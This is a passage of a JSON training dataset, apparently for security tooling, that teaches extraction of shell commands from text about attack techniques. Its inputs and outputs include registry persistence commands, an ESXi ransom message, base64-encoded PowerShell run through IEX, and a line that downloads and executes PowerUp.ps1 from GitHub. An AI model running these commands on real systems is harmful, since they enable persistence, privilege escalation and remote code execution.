Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker can verify privilege escalation potential by using these registry queries, where a value of 0x1 indicates AlwaysInstallElevated is enabled: reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated",
    "output": "{\"command_list\": [\"reg query HKCU\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer /v AlwaysInstallElevated\\nreg query HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer /v AlwaysInstallElevated      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command sequence collects system data and saves it to the temp directory in files prefixed with T1119_: sc query type=service > %TEMP%\\T1119_1.txt\ndoskey /history > %TEMP%\\T1119_2.txt\nwmic process list > %TEMP%\\T1119_3.txt\ntree C:\\AtomicRedTeam\\atomics > %TEMP%\\T1119_4.txt\n",
    "output": "{\"command_list\": [\"sc query type=service > %TEMP%\\\\T1119_1.txt\\ndoskey /history > %TEMP%\\\\T1119_2.txt\\nwmic process list > %TEMP%\\\\T1119_3.txt\\ntree C:\\\\AtomicRedTeam\\\\atomics > %TEMP%\\\\T1119_4.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence via the Recycle Bin, where the payload (calc.exe) launches when the user clicks on it, use the following command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
    "output": "{\"command_list\": [\"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ESXi welcome message can be altered to display ransom details by executing this command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\"",
    "output": "{\"command_list\": [\"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To decode a base64-encoded string and display it on the console, use the following command: ENCODED=$(echo '#{message}' | base64)\nprintf $ENCODED | base64 -d\necho $ENCODED | base64 -d\necho $(echo $ENCODED) | base64 -d\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\nbash -c \"{echo,\\\"$(echo $ENCODED)\\\"}|{base64,-d}\"",
    "output": "{\"command_list\": [\"ENCODED=$(echo '#{message}' | base64)\\nprintf $ENCODED | base64 -d\\necho $ENCODED | base64 -d\\necho $(echo $ENCODED) | base64 -d\\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\\nbash -c \\\"{echo,\\\\\\\"$(echo $ENCODED)\\\\\\\"}|{base64,-d}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method, employed by various malicious actors, encodes PowerShell commands and stores them in the registry before execution. The process can be initiated with this command:\n$OriginalCommand = '#{powershell_command}'\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\n$EncodedCommand\n\nSet-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand\npowershell.exe -Command \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))\"",
    "output": "{\"command_list\": [\"$OriginalCommand = '#{powershell_command}'\\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\\n$EncodedCommand\\n\\nSet-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand\\npowershell.exe -Command \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique creates persistence by modifying the print processor registry, which can be achieved with this command sequence: if( $(get-service -Name spooler).StartType -eq \"Disabled\") {Set-Service -Name \"spooler\" -StartupType Automatic}\nnet stop spooler\nCopy-Item \"$PathToAtomicsFolder\\T1547.012\\bin\\AtomicTest.dll\" C:\\Windows\\System32\\spool\\prtprocs\\x64\\AtomicTest.dll\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\AtomicRedTeam\" /v \"Driver\" /d \"AtomicTest.dll\" /t REG_SZ /f\nnet start spooler\nif(#{restart}){\n  Restart-Computer\n}",
    "output": "{\"command_list\": [\"if( $(get-service -Name spooler).StartType -eq \\\"Disabled\\\") {Set-Service -Name \\\"spooler\\\" -StartupType Automatic}\\nnet stop spooler\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.012\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Windows\\\\System32\\\\spool\\\\prtprocs\\\\x64\\\\AtomicTest.dll\\nreg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\Windows x64\\\\Print Processors\\\\AtomicRedTeam\\\" /v \\\"Driver\\\" /d \\\"AtomicTest.dll\\\" /t REG_SZ /f\\nnet start spooler\\nif(#{restart}){\\n  Restart-Computer\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons 